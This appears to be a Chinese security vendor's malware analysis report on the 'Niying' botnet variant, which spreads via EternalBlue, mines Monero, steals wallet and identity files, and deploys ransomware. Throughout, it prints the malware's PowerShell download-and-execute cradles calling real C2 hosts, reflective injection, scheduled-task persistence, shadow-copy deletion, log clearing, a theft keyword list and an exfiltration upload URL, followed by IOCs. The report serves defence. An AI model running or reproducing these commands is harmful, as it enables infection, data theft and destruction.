近期,金山毒霸安全团队通过"捕风"威胁感知系统监控到"匿影"变种攻击活动持续升级, 该家族的在野传播在2019年3月份被首次发现披露, 主要借助永恒之蓝漏洞利用传播挖矿木马,因为擅长使用匿名网盘、图床、区块链DNS等公共基础网络设施隐匿自身被我们团队命名为"匿影"。从首次披露至今的两年多时间内,该家族保持较高的变种活跃度,从挖矿木马向传播勒索病毒转变,在2020年的"WannaRen"勒索病毒和"Cryptojoker"勒索病毒传播事件中扮演幕后黑手,并且今年初开始我们也多次捕获到新的窃密模块被推送。新的窃密模块主要针对用户虚拟货币钱包、身份证、密码等重要文件进行窃密攻击。通过溯源分析发现,该勒索病毒通过匿影僵尸网络进行传播。匿影病毒在成功入侵目标计算机后,创建一个计划任务启动powershell云控加载勒索病毒。此匿影变种仍然使用永恒之蓝进行内网横向渗透,同时在其横向过程中伴有对虚拟钱包、密码等文件的窃密攻击。1.使用永恒之蓝漏洞进行横向传播,采用计划任务进行持久化驻留
2.该变种云控下拉伪装为图片后缀的payload,文件内容均通过1-2次的BASE64加密,以此降低用户的警惕和躲避网络设备的流量查杀。
3.云控获取的可执行程序使用易语言开发,均使用傀儡进程方式加载,以躲避查杀。
技术分析
被“永恒之蓝“攻击沦陷的主机创建一个每5分钟执行一次的计划任务,该计划任务内容为加密的powershell脚本,其内容解密后为:IEX( new-object net.webclient).downloadstring('http://cs.strongapt.ml/bu.jpg'))
bu.jpg经过层层解密后,其主要功能为执行横向渗透和挖矿。其中,挖矿相关的powershell代码主要是下载挖矿程序,并设置一个计划任务进行持久化驻留。(new-object System.Net.WebClient).DownloadFile( 'http://vip.strongapt.ga/WinRing0x64.jpg','C:\Windows\System32\WindowsPowerShell\v1.0\WinRing0x64.sys')
(new-object System.Net.WebClient).DownloadFile( 'http://vip.strongapt.ga/WinRing0x64.jpg','C:\Windows\System32\WinRing0x64.sys')
(new-object System.Net.WebClient).DownloadFile( 'http://vip.strongapt.ga/base64.jpg','C:\Windows\System32\WindowsPowerShell\v1.0\base64.txt')
(new-object System.Net.WebClient).DownloadFile( 'http://vip.strongapt.ga/powershell.jpg','C:\Windows\System32\WindowsPowerShell\v1.0\powershell.txt')
$Base64Bytes = ((New-Object Net.WebClient).DownloadString("http://vip.strongapt.ga/wmi.jpg"))
$PEBytes= [System.Convert]::FromBase64String($Base64Bytes)
[System.IO.File]::WriteAllBytes("C:\Windows\System32\WindowsPowerShell\v1.0\m6.ps1",$PEBytes)
schtasks /create /ru system /sc MINUTE /mo 10 /tn desktopnewx /tr "PowerShell.exe -ExecutionPolicy Bypass -File C:\Windows\System32\WindowsPowerShell\v1.0\m6.ps1"
横向渗透相关代码为从云控下拉powershell脚本和333.jpg文件,使用下拉powershell脚本实现内存加载执行333.jpg,其中该命令行中传入的矿池参数无用且均有迷惑性。C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (new-object net.webclient).downloadstring('http://cs.strongapt.ml/powershell.jpg');Invoke-ReflectivePEInjection -PEUrl http://cs.strongapt.ml/333.jpg -ExeArgs '-o xmr.f2pool.com:13531'"
1.内网横向扩散:
333.jpg依次针对以下系统进程进程(svchost.exe、cmd.exe、mmc.exe、ctfmon.exe、rekeywiz.exe)创建傀儡进程。傀儡进程释放永恒之蓝漏洞利用脚本到C:\Users\Public目录下。
傀儡进程通过网络链接(http://cs.strongapt.ml/Ladon.jpg)下载漏洞扫描脚本,根据分析其内容为powershell版本的Ladon扫描工具。Ladon是一款用于大型网络渗透的多线程插件化综合扫描器,含大量高危漏洞检测。此次匿影病毒使用该工具进行永恒之蓝漏洞扫描。
对Ladon漏洞扫描返回结果进行解析和筛选,对存在永恒之蓝漏洞的主机依次调用powershell加载执行释放的永恒之蓝脚本进行漏洞攻击。
被永恒之蓝攻击沦陷的主机,创建计划任务,继续下一轮的挖矿和内网传播。
2.挖矿
bu.jpg脚本中挖矿模块是通过网络下拉挖矿相关程序,创建一个每隔10分钟重复一次的计划任务,计划任务的内容为云控下拉的wmi.jpg内容。bu.jpg下载与挖矿有关的文件及功能:
文件名 |
功能 |
WinRing0x64.jpg |
驱动,xmr挖矿所用 |
base64.jpg |
挖矿程序 xmrig.exe |
powershell.jpg |
反射式DLL注入base64.jpg脚本 |
wmi.jpg |
计划任务的操作内容 |
wmi.jpg脚本把bu.jpg中下载的base64.jpg内存加载到powershell进程中,并传入挖矿程序的矿池、钱包地址等信息。
$Base64Bytes = Get-Content ("C:\Windows\System32\WindowsPowerShell\v1.0\powershell.txt")
$PEBytes = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($Base64Bytes))
Invoke-Expression $PEBytes
$Base64Bytes = Get-Content ("C:\Windows\System32\WindowsPowerShell\v1.0\base64.txt")
$PEBytes= [System.Convert]::FromBase64String($Base64Bytes)
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs '-o xmr.f2pool.com:13531 -u 4A2hVzTUwqeU4KH5qRQxZQDofYRQaaNw49n19DwTcTZ5VZtokigjuNc8rXv7gHXu7fNhTzfhBqgnCC2yZzZj5wgG23tjCsP.bb -p x -k' -ForceASLR
base64.jpg为挖取门罗币的矿机程序,其矿池地址为xmr.f2pool.com:13531,钱包地址为:4A2hVzTUwqeU4KH5qRQxZQDofYRQaaNw49n19DwTcTZ5VZtokigjuNc8rXv7gHXu7fNhTzfhBqgnCC2yZzZj5wgG23tjCsP
(钱包收益)
3.信息盗取
在横向渗透模块中,匿影病毒新增个人信息和财务信息窃取功能,该功能触发点在333.jpg创建的傀儡进程中。升级后的333.jpg创建的傀儡进程不仅完成之前的永恒漏洞攻击,还通过网络下拉internet.jpg文件以内存加载方式进行执行。
使用everything搜索的关键字主要包含虚拟币、密码、数字证书、身份证等隐私信息。
wallet.dat |
密码 |
密匙 |
私匙 |
身份证 |
正面 |
password.txt |
password.jpg |
password.gif |
钱包 |
比特币 |
以太坊 |
莱特币 |
Bitcoin |
门罗 |
门罗币 |
虚拟币备份 |
Coinbase |
Ledger钱包 |
imToken |
kcash |
币信 |
AToken钱包 |
HyperPay |
TokenPocket |
比特派 |
Jaxx Wallet |
Blockchain Wallet |
Trezor |
麦子钱包 |
BitPay |
Huobi Wallet |
火币 |
华特钱包 |
BitKeep |
Hoo虎符钱包 |
infinito wallet |
Guarda钱包 |
瓜达钱包 |
BItcoin |
MultiBit |
币安 |
交易平台 |
OKEX |
手机号码 |
秘密 |
助记词 |
钱包虚拟币备份 |
BItcoin钱包 |
im钱包 |
验证 |
双重 |
数字证书 |
数字签名 |
通过everything的http服务进行搜索,对返回数据处理得到文件列表,当文件为文件夹时,且主机中存在WinRAR,对需上传文件夹进行压缩,压缩文件保存在C:\user\PUblic\111.rar中,以供后续上传;不存在时则不上传该文件夹。
在桌面生成以计算机名+"bb"+搜索关键词+"ccc"+文件路径,文件内容为111.rar或搜索到的文件内容。使用释放的文件curlabc.exe对桌面生成文件进行上传,其中搜索关键词和文件路径通过url编码后再进行BASE64加密。
http://api.anonfiles.com/upload?token=3d03e904b3ab0437
4.勒索
被添加了隐私信息上传功能的333.jpg文件,其释放的永恒之蓝漏洞利用脚本使沦陷主机创建的计划任只执行勒索活动不再横向渗透。计划任务内容为每8分钟从云控下拉powershell脚本。
该计划任务为加密后的powershell脚本,解密后其内容为从云控下拉执行kd.jpg脚本。IEX ((new-object net.webclient).downloadstring('http://nn.searbpmmyyt.fun/kd.jpg'))
kd.jpg脚本从云控中下拉powershell脚本,通过该脚本把下拉文件“base64.dll.jpg” 内存加载到powershell进程中执行。
$Base64Bytes = ((New-Object Net.WebClient).DownloadString("http://nn.searbpmmyyt.fun/powershellbase64.jpg"))
$PEBytes = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($Base64Bytes))
Invoke-Expression $PEBytes
$Base64Bytes = ((New-Object Net.WebClient).DownloadString("http://nn.searbpmmyyt.fun/base64dll.jpg"))
$PEBytes= [System.Convert]::FromBase64String($Base64Bytes)
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ForceASLR
base64dll.jpg主要功能为从云控下拉xxx.jpg,并以内存加载方式执行,xxx.jpg为最终的勒索程序。xxx.jpg具有以下功能:
Get-WmiObject Win32_ShadowCopy| Remove-WmiObject
vssadmin delete shadows /all /quiet
wmic shadowcopy delete /nointeractive
文件加密使用RC4和AES-CBC双重加密。使用RC4加密原始文件内容,加密后的内容再经AES-CBC加密。加密后的文件名后缀为Solaso。
其中AES-CBC和RC4的加密密钥是随机生成的,且AES-CBC和RC4的加密密钥使用分隔符"AES"字符串拼接起来进行RSA加密,加密后的数据再进行BASE64加密。加密后的数据保存在每一个加密文件的位置。
Clear-Eventlog -LogName security
Clear-History
清理WMI任务,目前已知的Mykings僵尸网络使用的WMI任务命名(fuckamm*)。Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='fuckamm3'" | Remove-WmiObject -Verbose
Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -Filter "Name='fuckamm3'" | Remove-WmiObject -Verbose
Get-WMIObject -Namespace root\Subscription -Class __Filter ToConsumerBinding -Filter "__Path LIKE '%fuckamm3% ' "| Remove-WmiObject -Verbose
Get-WMIObject -Namespace root\Subscription -Class __EventFilte r-Filter "Name='fuckamm4' " | Remove-WmiObject -Verbose
Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -Filter "Name='fuckamm4' " |Remove-WmiObject -Verbose
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -Filter "__Path LIKE' %fuckamm4%' "| Remove-WmiObject -Verbose
sc config LanmanServer start= disabled
安全建议
2.尽量关闭不必要的端口,如:445、135,139等,对3389,5900等端口可进行白名单配置,只允许白名单内的IP连接登陆。4.提高安全意识,不随意打开陌生人发来的各种文件,如需打开务必验证文件后缀是否与文件名符合。5. 对于安全软件报毒的程序,不要轻易添加信任或退出安全软件。
IOC
http://vip.strongapt.ga/WinRing0x64.jpg
http://vip.strongapt.ga/base64.jpg
http://vip.strongapt.ga/powershell.jpg
http://vip.strongapt.ga/wmi.jpg
http://cs.strongapt.ml/bu.jpg
http://cs.strongapt.ml/powershell.jpg
http://cs.strongapt.ml/333.jpg
http://cs.strongapt.ml/Ladon.jpg
http://nn.searbpmmyyt.fun/powershellbase64.jpg
http://nn.searbpmmyyt.fun/base64dll.jpg
http://nn.searbpmmyyt.fun/xxx.jpg
CC
cs.strongapt.ml
vip.strongapt.ga
nn.searbpmmyyt.fun